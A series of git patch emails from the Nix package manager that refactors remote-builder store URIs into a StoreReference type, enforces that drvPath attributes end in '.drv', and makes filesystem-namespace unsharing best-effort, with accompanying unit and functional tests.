+URI_TEST_READ(unix_shorthand, unixExample)
+
+URI_TEST(
+    ssh,
+    (StoreReference{
+        .variant =
+            StoreReference::Specified{
+                .scheme = "ssh",
+                .authority = "localhost",
+            },
+        .params = {},
+    }))
+
+}

From b3ebcc5aad1f3c8f56895efc0632af47a5dca532 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 23 Jan 2024 15:36:03 -0500
Subject: [PATCH 176/528] Use the new `StoreReference` in `Machine`

This makes the remote builder abstract syntax more robust.
---
 src/build-remote/build-remote.cc | 22 +++++++--------
 src/libstore/machines.cc         | 35 +++++++++++++++---------
 src/libstore/machines.hh         | 21 ++++++++++++--
 tests/unit/libstore/machines.cc  | 47 +++++++++++++++++---------------
 4 files changed, 77 insertions(+), 48 deletions(-)

diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc
index 18eee830b9e..582e6d623d0 100644
--- a/src/build-remote/build-remote.cc
+++ b/src/build-remote/build-remote.cc
@@ -37,7 +37,7 @@ static std::string currentLoad;
 
 static AutoCloseFD openSlotLock(const Machine & m, uint64_t slot)
 {
-    return openLockFile(fmt("%s/%s-%d", currentLoad, escapeUri(m.storeUri), slot), true);
+    return openLockFile(fmt("%s/%s-%d", currentLoad, escapeUri(m.storeUri.render()), slot), true);
 }
 
 static bool allSupportedLocally(Store & store, const std::set<std::string>& requiredFeatures) {
@@ -99,7 +99,7 @@ static int main_build_remote(int argc, char * * argv)
         }
 
         std::optional<StorePath> drvPath;
-        std::string storeUri;
+        StoreReference storeUri;
 
         while (true) {
 
@@ -135,7 +135,7 @@ static int main_build_remote(int argc, char * * argv)
                 Machine * bestMachine = nullptr;
                 uint64_t bestLoad = 0;
                 for (auto & m : machines) {
-                    debug("considering building on remote machine '%s'", m.storeUri);
+                    debug("considering building on remote machine '%s'", m.storeUri.render());
 
                     if (m.enabled &&
                         m.systemSupported(neededSystem) &&
@@ -233,7 +233,7 @@ static int main_build_remote(int argc, char * * argv)
 
                 try {
 
-                    Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", bestMachine->storeUri));
+                    Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", bestMachine->storeUri.render()));
 
                     sshStore = bestMachine->openStore();
                     sshStore->connect();
@@ -242,7 +242,7 @@ static int main_build_remote(int argc, char * * argv)
                 } catch (std::exception & e) {
                     auto msg = chomp(drainFD(5, false));
                     printError("cannot build on '%s': %s%s",
-                        bestMachine->storeUri, e.what(),
+                        bestMachine->storeUri.render(), e.what(),
                         msg.empty() ? "" : ": " + msg);
                     bestMachine->enabled = false;
                     continue;
@@ -257,15 +257,15 @@ static int main_build_remote(int argc, char * * argv)
 
         assert(sshStore);
 
-        std::cerr << "# accept\n" << storeUri << "\n";
+        std::cerr << "# accept\n" << storeUri.render() << "\n";
 
         auto inputs = readStrings<PathSet>(source);
         auto wantedOutputs = readStrings<StringSet>(source);
 
-        AutoCloseFD uploadLock = openLockFile(currentLoad + "/" + escapeUri(storeUri) + ".upload-lock", true);
+        AutoCloseFD uploadLock = openLockFile(currentLoad + "/" + escapeUri(storeUri.render()) + ".upload-lock", true);
 
         {
-            Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri));
+            Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri.render()));
 
             auto old = signal(SIGALRM, handleAlarm);
             alarm(15 * 60);
@@ -278,7 +278,7 @@ static int main_build_remote(int argc, char * * argv)
         auto substitute = settings.buildersUseSubstitutes ? Substitute : NoSubstitute;
 
         {
-            Activity act(*logger, lvlTalkative, actUnknown, fmt("copying dependencies to '%s'", storeUri));
+            Activity act(*logger, lvlTalkative, actUnknown, fmt("copying dependencies to '%s'", storeUri.render()));
             copyPaths(*store, *sshStore, store->parseStorePathSet(inputs), NoRepair, NoCheckSigs, substitute);
         }
 
@@ -316,7 +316,7 @@ static int main_build_remote(int argc, char * * argv)
             optResult = sshStore->buildDerivation(*drvPath, (const BasicDerivation &) drv);
             auto & result = *optResult;
             if (!result.success())
-                throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri, result.errorMsg);
+                throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri.render(), result.errorMsg);
         } else {
             copyClosure(*store, *sshStore, StorePathSet {*drvPath}, NoRepair, NoCheckSigs, substitute);
             auto res = sshStore->buildPathsWithResults({
@@ -359,7 +359,7 @@ static int main_build_remote(int argc, char * * argv)
         }
 
         if (!missingPaths.empty()) {
-            Activity act(*logger, lvlTalkative, actUnknown, fmt("copying outputs from '%s'", storeUri));
+            Activity act(*logger, lvlTalkative, actUnknown, fmt("copying outputs from '%s'", storeUri.render()));
             if (auto localStore = store.dynamic_pointer_cast<LocalStore>())
                 for (auto & path : missingPaths)
                     localStore->locksHeld.insert(store->printStorePath(path)); /* FIXME: ugly */
diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc
index 2d461c63afb..64476224221 100644
--- a/src/libstore/machines.cc
+++ b/src/libstore/machines.cc
@@ -6,7 +6,8 @@
 
 namespace nix {
 
-Machine::Machine(decltype(storeUri) storeUri,
+Machine::Machine(
+    const std::string & storeUri,
     decltype(systemTypes) systemTypes,
     decltype(sshKey) sshKey,
     decltype(maxJobs) maxJobs,
@@ -14,7 +15,7 @@ Machine::Machine(decltype(storeUri) storeUri,
     decltype(supportedFeatures) supportedFeatures,
     decltype(mandatoryFeatures) mandatoryFeatures,
     decltype(sshPublicHostKey) sshPublicHostKey) :
-    storeUri(
+    storeUri(StoreReference::parse(
         // Backwards compatibility: if the URI is schemeless, is not a path,
         // and is not one of the special store connection words, prepend
         // ssh://.
@@ -28,7 +29,7 @@ Machine::Machine(decltype(storeUri) storeUri,
         || hasPrefix(storeUri, "local?")
         || hasPrefix(storeUri, "?")
         ? storeUri
-        : "ssh://" + storeUri),
+        : "ssh://" + storeUri)),
     systemTypes(systemTypes),
     sshKey(sshKey),
     maxJobs(maxJobs),
@@ -63,23 +64,26 @@ bool Machine::mandatoryMet(const std::set<std::string> & features) const
         });
 }
 
-ref<Store> Machine::openStore() const
+StoreReference Machine::completeStoreReference() const
 {
-    Store::Params storeParams;
-    if (hasPrefix(storeUri, "ssh://")) {
-        storeParams["max-connections"] = "1";
-        storeParams["log-fd"] = "4";
+    auto storeUri = this->storeUri;
+
+    auto * generic = std::get_if<StoreReference::Specified>(&storeUri.variant);
+
+    if (generic && generic->scheme == "ssh") {
+        storeUri.params["max-connections"] = "1";
+        storeUri.params["log-fd"] = "4";
     }
 
-    if (hasPrefix(storeUri, "ssh://") || hasPrefix(storeUri, "ssh-ng://")) {
+    if (generic && (generic->scheme == "ssh" || generic->scheme == "ssh-ng")) {
         if (sshKey != "")
-            storeParams["ssh-key"] = sshKey;
+            storeUri.params["ssh-key"] = sshKey;
         if (sshPublicHostKey != "")
-            storeParams["base64-ssh-public-host-key"] = sshPublicHostKey;
+            storeUri.params["base64-ssh-public-host-key"] = sshPublicHostKey;
     }
 
     {
-        auto & fs = storeParams["system-features"];
+        auto & fs = storeUri.params["system-features"];
         auto append = [&](auto feats) {
             for (auto & f : feats) {
                 if (fs.size() > 0) fs += ' ';
@@ -90,7 +94,12 @@ ref<Store> Machine::openStore() const
         append(mandatoryFeatures);
     }
 
-    return nix::openStore(storeUri, storeParams);
+    return storeUri;
+}
+
+ref<Store> Machine::openStore() const
+{
+    return nix::openStore(completeStoreReference());
 }
 
 static std::vector<std::string> expandBuilderLines(const std::string & builders)
diff --git a/src/libstore/machines.hh b/src/libstore/machines.hh
index 8516409d48a..97980df8dc0 100644
--- a/src/libstore/machines.hh
+++ b/src/libstore/machines.hh
@@ -2,6 +2,7 @@
 ///@file
 
 #include "types.hh"
+#include "store-reference.hh"
 
 namespace nix {
 
@@ -9,7 +10,7 @@ class Store;
 
 struct Machine {
 
-    const std::string storeUri;
+    const StoreReference storeUri;
     const std::set<std::string> systemTypes;
     const std::string sshKey;
     const unsigned int maxJobs;
@@ -36,7 +37,8 @@ struct Machine {
      */
     bool mandatoryMet(const std::set<std::string> & features) const;
 
-    Machine(decltype(storeUri) storeUri,
+    Machine(
+        const std::string & storeUri,
         decltype(systemTypes) systemTypes,
         decltype(sshKey) sshKey,
         decltype(maxJobs) maxJobs,
@@ -45,6 +47,21 @@ struct Machine {
         decltype(mandatoryFeatures) mandatoryFeatures,
         decltype(sshPublicHostKey) sshPublicHostKey);
 
+    /**
+     * Elaborate `storeUri` into a complete store reference,
+     * incorporating information from the other fields of the `Machine`
+     * as applicable.
+     */
+    StoreReference completeStoreReference() const;
+
+    /**
+     * Open a `Store` for this machine.
+     *
+     * Just a simple function composition:
+     * ```c++
+     * nix::openStore(completeStoreReference())
+     * ```
+     */
     ref<Store> openStore() const;
 };
 
diff --git a/tests/unit/libstore/machines.cc b/tests/unit/libstore/machines.cc
index 9fd7fda54cc..4107ba65561 100644
--- a/tests/unit/libstore/machines.cc
+++ b/tests/unit/libstore/machines.cc
@@ -3,24 +3,16 @@
 #include "file-system.hh"
 #include "util.hh"
 
+#include <gtest/gtest.h>
 #include <gmock/gmock-matchers.h>
 
 using testing::Contains;
 using testing::ElementsAre;
-using testing::EndsWith;
 using testing::Eq;
 using testing::Field;
 using testing::SizeIs;
 
-using nix::absPath;
-using nix::FormatError;
-using nix::UsageError;
-using nix::getMachines;
-using nix::Machine;
-using nix::Machines;
-using nix::pathExists;
-using nix::Settings;
-using nix::settings;
+using namespace nix;
 
 class Environment : public ::testing::Environment {
   public:
@@ -40,7 +32,7 @@ TEST(machines, getMachinesUriOnly) {
     settings.builders = "nix@scratchy.labs.cs.uu.nl";
     Machines actual = getMachines();
     ASSERT_THAT(actual, SizeIs(1));
-    EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq("ssh://nix@scratchy.labs.cs.uu.nl")));
+    EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl"))));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS")));
     EXPECT_THAT(actual[0], Field(&Machine::sshKey, SizeIs(0)));
     EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(1)));
@@ -54,7 +46,7 @@ TEST(machines, getMachinesDefaults) {
     settings.builders = "nix@scratchy.labs.cs.uu.nl - - - - - - -";
     Machines actual = getMachines();
     ASSERT_THAT(actual, SizeIs(1));
-    EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq("ssh://nix@scratchy.labs.cs.uu.nl")));
+    EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl"))));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS")));
     EXPECT_THAT(actual[0], Field(&Machine::sshKey, SizeIs(0)));
     EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(1)));
@@ -64,20 +56,31 @@ TEST(machines, getMachinesDefaults) {
     EXPECT_THAT(actual[0], Field(&Machine::sshPublicHostKey, SizeIs(0)));
 }
 
+MATCHER_P(AuthorityMatches, authority, "") {
+    *result_listener
+        << "where the authority of "
+        << arg.render()
+        << " is "
+        << authority;
+    auto * generic = std::get_if<StoreReference::Specified>(&arg.variant);
+    if (!generic) return false;
+    return generic->authority == authority;
+}
+
 TEST(machines, getMachinesWithNewLineSeparator) {
     settings.builders = "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl";
     Machines actual = getMachines();
     ASSERT_THAT(actual, SizeIs(2));
-    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))));
-    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl"))));
+    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))));
+    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl"))));
 }
 
 TEST(machines, getMachinesWithSemicolonSeparator) {
     settings.builders = "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl";
     Machines actual = getMachines();
     EXPECT_THAT(actual, SizeIs(2));
-    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))));
-    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl"))));
+    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))));
+    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl"))));
 }
 
 TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) {
@@ -86,7 +89,7 @@ TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) {
                         "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED==";
     Machines actual = getMachines();
     ASSERT_THAT(actual, SizeIs(1));
-    EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")));
+    EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux")));
     EXPECT_THAT(actual[0], Field(&Machine::sshKey, Eq("/home/nix/.ssh/id_scratchy_auto")));
     EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(8)));
@@ -104,7 +107,7 @@ TEST(machines,
         "KEY+BASE64+ENCODED==";
     Machines actual = getMachines();
     ASSERT_THAT(actual, SizeIs(1));
-    EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")));
+    EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux")));
     EXPECT_THAT(actual[0], Field(&Machine::sshKey, Eq("/home/nix/.ssh/id_scratchy_auto")));
     EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(8)));
@@ -120,7 +123,7 @@ TEST(machines, getMachinesWithMultiOptions) {
                         "MandatoryFeature1,MandatoryFeature2";
     Machines actual = getMachines();
     ASSERT_THAT(actual, SizeIs(1));
-    EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")));
+    EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("Arch1", "Arch2")));
     EXPECT_THAT(actual[0], Field(&Machine::supportedFeatures, ElementsAre("SupportedFeature1", "SupportedFeature2")));
     EXPECT_THAT(actual[0], Field(&Machine::mandatoryFeatures, ElementsAre("MandatoryFeature1", "MandatoryFeature2")));
@@ -146,9 +149,9 @@ TEST(machines, getMachinesWithCorrectFileReference) {
     settings.builders = std::string("@") + path;
     Machines actual = getMachines();
     ASSERT_THAT(actual, SizeIs(3));
-    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))));
-    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl"))));
-    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@poochie.labs.cs.uu.nl"))));
+    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))));
+    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl"))));
+    EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@poochie.labs.cs.uu.nl"))));
 }
 
 TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) {

From f923ed6b6a7318e8fc77e8d3aeda6796671f67cb Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 22 May 2024 12:35:44 -0400
Subject: [PATCH 177/528] Require `drvPath` attribute to end with `.drv`

Fixes #4977
---
 src/libexpr/eval-cache.cc                     |  1 +
 src/libexpr/eval-error.cc                     |  3 +--
 src/libexpr/get-drvs.cc                       | 18 +++++++++----
 src/libexpr/print.cc                          | 23 +++++++++++-----
 src/libstore/derivations.cc                   |  5 ++--
 src/libstore/path.cc                          |  8 +++++-
 src/libstore/path.hh                          | 27 +++++++------------
 src/nix-env/user-env.cc                       |  1 +
 src/nix/bundle.cc                             |  2 ++
 tests/functional/lang.sh                      |  3 +++
 .../lang/non-eval-fail-bad-drvPath.nix        | 14 ++++++++++
 11 files changed, 71 insertions(+), 34 deletions(-)
 create mode 100644 tests/functional/lang/non-eval-fail-bad-drvPath.nix

diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc
index d60967a14a7..a8222b9851a 100644
--- a/src/libexpr/eval-cache.cc
+++ b/src/libexpr/eval-cache.cc
@@ -753,6 +753,7 @@ StorePath AttrCursor::forceDerivation()
 {
     auto aDrvPath = getAttr(root->state.sDrvPath, true);
     auto drvPath = root->state.store->parseStorePath(aDrvPath->getString());
+    drvPath.requireDerivation();
     if (!root->state.store->isValidPath(drvPath) && !settings.readOnlyMode) {
         /* The eval cache contains 'drvPath', but the actual path has
            been garbage-collected. So force it to be regenerated. */
diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc
index 8db03610b14..a9409468cf0 100644
--- a/src/libexpr/eval-error.cc
+++ b/src/libexpr/eval-error.cc
@@ -27,8 +27,7 @@ EvalErrorBuilder<T> & EvalErrorBuilder<T>::atPos(Value & value, PosIdx fallback)
 template<class T>
 EvalErrorBuilder<T> & EvalErrorBuilder<T>::withTrace(PosIdx pos, const std::string_view text)
 {
-    error.err.traces.push_front(
-        Trace{.pos = error.state.positions[pos], .hint = HintFmt(std::string(text))});
+    error.addTrace(error.state.positions[pos], text);
     return *this;
 }
 
diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc
index cf10ed84ac9..ed16a51a1eb 100644
--- a/src/libexpr/get-drvs.cc
+++ b/src/libexpr/get-drvs.cc
@@ -69,13 +69,21 @@ std::string PackageInfo::querySystem() const
 std::optional<StorePath> PackageInfo::queryDrvPath() const
 {
     if (!drvPath && attrs) {
-        NixStringContext context;
-        if (auto i = attrs->get(state->sDrvPath))
-            drvPath = {state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation")};
-        else
+        if (auto i = attrs->get(state->sDrvPath)) {
+            NixStringContext context;
+            auto found = state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation");
+            try {
+                found.requireDerivation();
+            } catch (Error & e) {
+                e.addTrace(state->positions[i->pos], "while evaluating the 'drvPath' attribute of a derivation");
+                throw;
+            }
+            drvPath = {std::move(found)};
+        } else
             drvPath = {std::nullopt};
     }
-    return drvPath.value_or(std::nullopt);
+    drvPath.value_or(std::nullopt);
+    return *drvPath;
 }
 
 
diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc
index 7799a0bbebf..d53fadac75a 100644
--- a/src/libexpr/print.cc
+++ b/src/libexpr/print.cc
@@ -271,16 +271,27 @@ class Printer
 
     void printDerivation(Value & v)
     {
-        NixStringContext context;
-        std::string storePath;
-        if (auto i = v.attrs()->get(state.sDrvPath))
-            storePath = state.store->printStorePath(state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation"));
+        std::optional<StorePath> storePath;
+        if (auto i = v.attrs()->get(state.sDrvPath)) {
+            NixStringContext context;
+            storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation");
+        }
+
+        /* This unforutately breaks printing nested values because of
+           how the pretty printer is used (when pretting printing and warning
+           to same terminal / std stream). */
+#if 0
+        if (storePath && !storePath->isDerivation())
+            warn(
+                "drvPath attribute '%s' is not a valid store path to a derivation, this value not work properly",
+                state.store->printStorePath(*storePath));
+#endif
 
         if (options.ansiColors)
             output << ANSI_GREEN;
         output << "«derivation";
-        if (!storePath.empty()) {
-            output << " " << storePath;
+        if (storePath) {
+            output << " " << state.store->printStorePath(*storePath);
         }
         output << "»";
         if (options.ansiColors)
diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc
index e1370591175..86988011206 100644
--- a/src/libstore/derivations.cc
+++ b/src/libstore/derivations.cc
@@ -930,10 +930,9 @@ DerivationOutputsAndOptPaths BasicDerivation::outputsAndOptPaths(const StoreDirC
 
 std::string_view BasicDerivation::nameFromPath(const StorePath & drvPath)
 {
+    drvPath.requireDerivation();
     auto nameWithSuffix = drvPath.name();
-    constexpr std::string_view extension = ".drv";
-    assert(hasSuffix(nameWithSuffix, extension));
-    nameWithSuffix.remove_suffix(extension.size());
+    nameWithSuffix.remove_suffix(drvExtension.size());
     return nameWithSuffix;
 }
 
diff --git a/src/libstore/path.cc b/src/libstore/path.cc
index 4b806e4084e..8d97267227c 100644
--- a/src/libstore/path.cc
+++ b/src/libstore/path.cc
@@ -49,11 +49,17 @@ StorePath::StorePath(const Hash & hash, std::string_view _name)
     checkName(baseName, name());
 }
 
-bool StorePath::isDerivation() const
+bool StorePath::isDerivation() const noexcept
 {
     return hasSuffix(name(), drvExtension);
 }
 
+void StorePath::requireDerivation() const
+{
+    if (!isDerivation())
+        throw FormatError("store path '%s' is not a valid derivation path", to_string());
+}
+
 StorePath StorePath::dummy("ffffffffffffffffffffffffffffffff-x");
 
 StorePath StorePath::random(std::string_view name)
diff --git a/src/libstore/path.hh b/src/libstore/path.hh
index 3c26fc515a5..4abbfcd7c7e 100644
--- a/src/libstore/path.hh
+++ b/src/libstore/path.hh
@@ -35,30 +35,23 @@ public:
 
     StorePath(const Hash & hash, std::string_view name);
 
-    std::string_view to_string() const
+    std::string_view to_string() const noexcept
     {
         return baseName;
     }
 
-    bool operator < (const StorePath & other) const
-    {
-        return baseName < other.baseName;
-    }
-
-    bool operator == (const StorePath & other) const
-    {
-        return baseName == other.baseName;
-    }
-
-    bool operator != (const StorePath & other) const
-    {
-        return baseName != other.baseName;
-    }
+    bool operator == (const StorePath & other) const noexcept = default;
+    auto operator <=> (const StorePath & other) const noexcept = default;
 
     /**
      * Check whether a file name ends with the extension for derivations.
      */
-    bool isDerivation() const;
+    bool isDerivation() const noexcept;
+
+    /**
+     * Throw an exception if `isDerivation` is false.
+     */
+    void requireDerivation() const;
 
     std::string_view name() const
     {
@@ -82,7 +75,7 @@ typedef std::vector<StorePath> StorePaths;
  * The file extension of \ref Derivation derivations when serialized
  * into store objects.
  */
-const std::string drvExtension = ".drv";
+constexpr std::string_view drvExtension = ".drv";
 
 }
 
diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc
index 6cbbacb1522..f7b091f8f56 100644
--- a/src/nix-env/user-env.cc
+++ b/src/nix-env/user-env.cc
@@ -140,6 +140,7 @@ bool createUserEnv(EvalState & state, PackageInfos & elems,
     NixStringContext context;
     auto & aDrvPath(*topLevel.attrs()->find(state.sDrvPath));
     auto topLevelDrv = state.coerceToStorePath(aDrvPath.pos, *aDrvPath.value, context, "");
+    topLevelDrv.requireDerivation();
     auto & aOutPath(*topLevel.attrs()->find(state.sOutPath));
     auto topLevelOut = state.coerceToStorePath(aOutPath.pos, *aOutPath.value, context, "");
 
diff --git a/src/nix/bundle.cc b/src/nix/bundle.cc
index 2e50392f7aa..554c3654022 100644
--- a/src/nix/bundle.cc
+++ b/src/nix/bundle.cc
@@ -100,6 +100,8 @@ struct CmdBundle : InstallableValueCommand
         NixStringContext context2;
         auto drvPath = evalState->coerceToStorePath(attr1->pos, *attr1->value, context2, "");
 
+        drvPath.requireDerivation();
+
         auto attr2 = vRes->attrs()->get(evalState->sOutPath);
         if (!attr2)
             throw Error("the bundler '%s' does not produce a derivation", bundler.what());
diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh
index c45326473d3..60603cebe82 100755
--- a/tests/functional/lang.sh
+++ b/tests/functional/lang.sh
@@ -24,6 +24,9 @@ nix-instantiate --eval -E 'builtins.traceVerbose "Hello" 123' 2>&1 | grepQuietIn
 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grepQuietInverse Hello
 expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' | grepQuiet Hello
 expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello %" (throw "Foo")' | grepQuiet 'Hello %'
+# Relies on parsing the expression derivation as a derivation, can't use --eval
+expectStderr 1 nix-instantiate --show-trace lang/non-eval-fail-bad-drvPath.nix | grepQuiet "store path '8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin' is not a valid derivation path"
+
 
 nix-instantiate --eval -E 'let x = builtins.trace { x = x; } true; in x' \
   2>&1 | grepQuiet -E 'trace: { x = «potential infinite recursion»; }'
diff --git a/tests/functional/lang/non-eval-fail-bad-drvPath.nix b/tests/functional/lang/non-eval-fail-bad-drvPath.nix
new file mode 100644
index 00000000000..23639bc5465
--- /dev/null
+++ b/tests/functional/lang/non-eval-fail-bad-drvPath.nix
@@ -0,0 +1,14 @@
+let
+  package = {
+    type = "derivation";
+    name = "cachix-1.7.3";
+    system = builtins.currentSystem;
+    outputs = [ "out" ];
+    # Illegal, because does not end in `.drv`
+    drvPath = "${builtins.storeDir}/8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin";
+    outputName = "out";
+    outPath = "${builtins.storeDir}/8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin";
+    out = package;
+  };
+in
+package

From d5fdfdc59294bbbf9c27479fb2ca3ecee71dc659 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 22 May 2024 16:04:14 -0400
Subject: [PATCH 178/528] `unshareFilesystem`: Do not assume caller

---
 src/libstore/filetransfer.cc    | 7 ++++++-
 src/libutil/linux/namespaces.cc | 2 +-
 2 files changed, 7 insertions(+), 2 deletions(-)

diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc
index 219b60c44a8..e28dd43ec31 100644
--- a/src/libstore/filetransfer.cc
+++ b/src/libstore/filetransfer.cc
@@ -580,7 +580,12 @@ struct curlFileTransfer : public FileTransfer
         #endif
 
         #if __linux__
-        unshareFilesystem();
+        try {
+            unshareFilesystem();
+        } catch (nix::Error & e) {
+            e.addTrace({}, "in download thread");
+            throw;
+        }
         #endif
 
         std::map<CURL *, std::shared_ptr<TransferItem>> items;
diff --git a/src/libutil/linux/namespaces.cc b/src/libutil/linux/namespaces.cc
index f8289ef39c4..cb7a0d6e703 100644
--- a/src/libutil/linux/namespaces.cc
+++ b/src/libutil/linux/namespaces.cc
@@ -140,7 +140,7 @@ void restoreMountNamespace()
 void unshareFilesystem()
 {
     if (unshare(CLONE_FS) != 0 && errno != EPERM)
-        throw SysError("unsharing filesystem state in download thread");
+        throw SysError("unsharing filesystem state");
 }
 
 }

From dc7615dbbb38bd949e3aa2198ca7e3a12c09db8f Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 22 May 2024 16:04:40 -0400
Subject: [PATCH 179/528] `tryUnshareFilesystem`: Ignore `ENOSYS` too

Fixes #10747
---
 src/libstore/filetransfer.cc    | 2 +-
 src/libutil/linux/namespaces.cc | 4 ++--
 src/libutil/linux/namespaces.hh | 6 ++++--
 3 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc
index e28dd43ec31..a54ebdcf388 100644
--- a/src/libstore/filetransfer.cc
+++ b/src/libstore/filetransfer.cc
@@ -581,7 +581,7 @@ struct curlFileTransfer : public FileTransfer
 
         #if __linux__
         try {
-            unshareFilesystem();
+            tryUnshareFilesystem();
         } catch (nix::Error & e) {
             e.addTrace({}, "in download thread");
             throw;
diff --git a/src/libutil/linux/namespaces.cc b/src/libutil/linux/namespaces.cc
index cb7a0d6e703..d4766cbba91 100644
--- a/src/libutil/linux/namespaces.cc
+++ b/src/libutil/linux/namespaces.cc
@@ -137,9 +137,9 @@ void restoreMountNamespace()
     }
 }
 
-void unshareFilesystem()
+void tryUnshareFilesystem()
 {
-    if (unshare(CLONE_FS) != 0 && errno != EPERM)
+    if (unshare(CLONE_FS) != 0 && errno != EPERM && errno != ENOSYS)
         throw SysError("unsharing filesystem state");
 }
 
diff --git a/src/libutil/linux/namespaces.hh b/src/libutil/linux/namespaces.hh
index ef3c9123fbe..208920b80b1 100644
--- a/src/libutil/linux/namespaces.hh
+++ b/src/libutil/linux/namespaces.hh
@@ -20,11 +20,13 @@ void saveMountNamespace();
 void restoreMountNamespace();
 
 /**
- * Cause this thread to not share any FS attributes with the main
+ * Cause this thread to try to not share any FS attributes with the main
  * thread, because this causes setns() in restoreMountNamespace() to
  * fail.
+ *
+ * This is best effort -- EPERM and ENOSYS failures are just ignored.
  */
-void unshareFilesystem();
+void tryUnshareFilesystem();
 
 bool userNamespacesSupported();
 

From 5845fd59c34198ad52a7f7bcb6d3ea7176ca437b Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Thu, 23 May 2024 01:24:15 +0200
